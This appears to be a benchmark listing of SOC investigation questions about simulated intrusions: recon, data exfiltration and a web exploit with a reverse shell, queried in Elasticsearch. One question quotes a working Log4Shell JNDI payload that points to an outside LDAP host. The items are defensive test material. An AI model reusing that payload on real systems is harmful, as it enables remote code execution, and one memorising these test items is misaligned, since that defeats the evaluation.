secops-es-investigation · security · ranked by score ↓
Share
SecOps investigation in Elasticsearch
- runs
- 3
- solutions
- 3
- spent
- $18
54 cases
Each case feeds files from inputs/<id>/ to the solution, expects files in expected/<id>/, and is scored by judge.py then aggregated by grader.py.
cases (54)
▸q-c01-attckcase-01-recon — labeling question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Map the observed activity in this case to MITRE ATT&CK technique IDs (discovery, credential access, persistence, C2, ingress tool transfer).
Investigate, then answer. Give a comma-separated list.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-attck",
"case": "case-01-recon",
"type": "labeling",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-c2-ipcase-01-recon — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
What is the attacker's command-and-control IP address that the implant on ubuntu-2404-noble-amd64-base communicates with?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-c2-ip",
"case": "case-01-recon",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-c2-portcase-01-recon — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Over which destination TCP port does the implant maintain its encrypted (TLS) C2 channel to the attacker 204.168.178.42?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-c2-port",
"case": "case-01-recon",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-credaccess-filecase-01-recon — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Which single sensitive system file did the attacker read to steal credentials?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-credaccess-file",
"case": "case-01-recon",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-deliverycase-01-recon — mcq question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
How was the post-exploitation payload for the recon activity delivered and executed on the host?
Options:
A. A signed .deb package installed via apt
B. A cron job that compiled source locally
C. A script downloaded over HTTP from the attacker and piped straight into bash (curl | bash)
D. A malicious email attachment opened by a user
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-delivery",
"case": "case-01-recon",
"type": "mcq",
"difficulty": "medium",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-disc-8080case-01-recon — mcq question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Two different destinations were contacted on port 8080 in this window: 10.170.69.59 (repeatedly, by a node process hitting /api/health) and 204.168.178.42 (by a shell). Which is the attacker's payload-staging server?
Options:
A. Neither; port 8080 is never malicious
B. 10.170.69.59 — the frequent one is always the C2
C. 204.168.178.42 — the external host a shell pulled a script from
D. Both are attacker infrastructure
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-disc-8080",
"case": "case-01-recon",
"type": "mcq",
"difficulty": "hard",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-iocscase-01-recon — set question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
List the indicators of compromise (IOCs) from this case: the malicious binary path, the attacker IP, and the persistence file it writes.
Investigate, then answer. Give a comma-separated list of all items.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-iocs",
"case": "case-01-recon",
"type": "set",
"difficulty": "medium",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-neg-zeekcroncase-01-recon — boolean question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
During the same window, the process `/usr/bin/python3 /opt/zeek/bin/zeekctl cron` runs repeatedly on ubuntu-2404-noble-amd64-base. Is this malicious activity that should be actioned?
Investigate, then answer. Answer yes or no.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-neg-zeekcron",
"case": "case-01-recon",
"type": "boolean",
"difficulty": "medium",
"grading": "boolean",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-persistencecase-01-recon — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The attacker installed a cron persistence entry. What command does that cron job run (the payload after the schedule)?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-persistence",
"case": "case-01-recon",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-root-causecase-01-recon — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
On host ubuntu-2404-noble-amd64-base around 2026-07-29T02:21Z a shell read /etc/shadow. Give the full path of the process that is the ultimate origin (tree root) of that activity.
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-root-cause",
"case": "case-01-recon",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c01-timelinecase-01-recon — ordering question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Put these four stages of the case in the order they occurred: [persistence-cron, credential-access-shadow, payload-delivery-curl, host-discovery].
Investigate, then answer. Give the items in order, comma-separated.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c01-timeline",
"case": "case-01-recon",
"type": "ordering",
"difficulty": "medium",
"grading": "ordering",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-archivecase-02-collection-exfil — extraction question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The attacker archived collected data before exfiltration. Give the full path of the archive file created.
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-archive",
"case": "case-02-collection-exfil",
"type": "extraction",
"difficulty": "easy",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-attckcase-02-collection-exfil — labeling question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Map this case to MITRE ATT&CK technique IDs (deobfuscation, discovery, collection, archiving, defense-evasion, exfiltration).
Investigate, then answer. Give a comma-separated list.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-attck",
"case": "case-02-collection-exfil",
"type": "labeling",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-decoy-or-realcase-02-collection-exfil — mcq question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The staged files under /tmp/.stage include creds.txt and customers.csv. What is the correct characterization of the exfiltrated data?
Options:
A. The files were empty; nothing was collected
B. Decoy/synthetic bait data (e.g. DECOY_AKIA_BENCH, fabricated CSV rows); technique succeeded end-to-end but no real secrets left
C. Only system logs were archived
D. Confirmed real customer PII and live AWS keys were stolen
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-decoy-or-real",
"case": "case-02-collection-exfil",
"type": "mcq",
"difficulty": "hard",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-exfil-destcase-02-collection-exfil — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
To which external URL host:port did the attacker upload the archive?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-exfil-dest",
"case": "case-02-collection-exfil",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-exfil-happenedcase-02-collection-exfil — boolean question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Based on the telemetry, did the host actually transmit the collected archive to an external attacker-controlled server (i.e., did exfiltration egress occur)?
Investigate, then answer. Answer yes or no.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-exfil-happened",
"case": "case-02-collection-exfil",
"type": "boolean",
"difficulty": "medium",
"grading": "boolean",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-portscancase-02-collection-exfil — mcq question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Before archiving, the implant briefly connected to 127.0.0.1 on ports 22, 80, 443, 3306, 5432, 9200, 8443 in rapid succession. What is this?
Options:
A. Local network service discovery / self port-scan (T1046)
B. A reverse shell
C. Legitimate application startup
D. Data exfiltration
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-portscan",
"case": "case-02-collection-exfil",
"type": "mcq",
"difficulty": "medium",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-same-actorcase-02-collection-exfil — boolean question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Is the collection/exfiltration activity in this window carried out by the same implant and attacker as the earlier /etc/shadow credential theft (case-01)?
Investigate, then answer. Answer yes or no.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-same-actor",
"case": "case-02-collection-exfil",
"type": "boolean",
"difficulty": "medium",
"grading": "boolean",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-ti-matchcase-02-collection-exfil — boolean question (easy).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Is the exfiltration destination IP (204.168.178.42) flagged by threat intelligence in this environment?
Investigate, then answer. Answer yes or no.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-ti-match",
"case": "case-02-collection-exfil",
"type": "boolean",
"difficulty": "easy",
"grading": "boolean",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c02-timestompcase-02-collection-exfil — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
What defense-evasion technique (ATT&CK ID) did the attacker use on the archive, and via which command?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c02-timestomp",
"case": "case-02-collection-exfil",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-attckcase-03-web-exploit-revshell — labeling question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Map this case to MITRE ATT&CK technique IDs (scanning, exploit public-facing app, web shell, unix shell execution, C2).
Investigate, then answer. Give a comma-separated list.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-attck",
"case": "case-03-web-exploit-revshell",
"type": "labeling",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-handsonkbdcase-03-web-exploit-revshell — set question (hard).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Inside the reverse shell (parent process `bash -i`), what reconnaissance commands did the attacker run as root?
Investigate, then answer. Give a comma-separated list of all items.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-handsonkbd",
"case": "case-03-web-exploit-revshell",
"type": "set",
"difficulty": "hard",
"grading": "set_f1",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-initial-accesscase-03-web-exploit-revshell — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
Which MITRE ATT&CK technique ID best describes the initial-access vector (attacks against the public web server)?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-initial-access",
"case": "case-03-web-exploit-revshell",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-log4shellcase-03-web-exploit-revshell — mcq question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
One request carried the User-Agent `${jndi:ldap://204.168.178.42:1389/a}`. What attack does this represent?
Options:
A. Log4Shell (Log4j JNDI injection, CVE-2021-44228)
B. Cross-site scripting
C. SQL injection
D. Directory listing
Investigate, then answer. Give the option letter (A/B/C/...).
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-log4shell",
"case": "case-03-web-exploit-revshell",
"type": "mcq",
"difficulty": "medium",
"grading": "mcq",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-neg-benign-uacase-03-web-exploit-revshell — boolean question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The web logs also contain ordinary requests with User-Agent `curl/8.5.0`. Should every request from a `curl` User-Agent in this window be treated as the attack?
Investigate, then answer. Answer yes or no.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-neg-benign-ua",
"case": "case-03-web-exploit-revshell",
"type": "boolean",
"difficulty": "medium",
"grading": "boolean",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-revshell-destcase-03-web-exploit-revshell — extraction question (medium).
input
question.txt
You are a SOC analyst. Answer the question below by investigating the SIEM.
Data source — read-only Elasticsearch 8.17, basic auth `benchmark` / `benchmark`:
https://secops-benchmark-es.k8s.tocharian.eu
endpoint logs-endpoint.events.process-bench / .file-bench / .network-bench
network logs-zeek.*-bench (connection, ssl, dns, ssh, http, notice, files, ...)
IDS logs-suricata.eve-bench
web logs-nginx.access-bench
detections benchmark-alerts-security
Fields are ECS; time is @timestamp (ISO-8601 UTC). ES|QL: POST /_query with
{"query": "FROM logs-endpoint.events.process-bench | WHERE ... | LIMIT 20"}.
Never assert a fact you did not retrieve.
---
The attacker opened an interactive reverse shell. To which IP:port did it connect back?
Investigate, then answer. Give the single exact value.
End your reply with exactly one line:
FINAL ANSWER: <your answer>
expected output
answer.json
{
"id": "q-c03-revshell-dest",
"case": "case-03-web-exploit-revshell",
"type": "extraction",
"difficulty": "medium",
"grading": "exact_ci",
"sealed": true,
"key_source": "ANSWERS.sealed"
}Scored by judge.py — see Scoring logic below for the full rule.
▸q-c03-revshell-mechanismcase-03-web-exploit-revshell — mcq question (medium).
input
question.txt
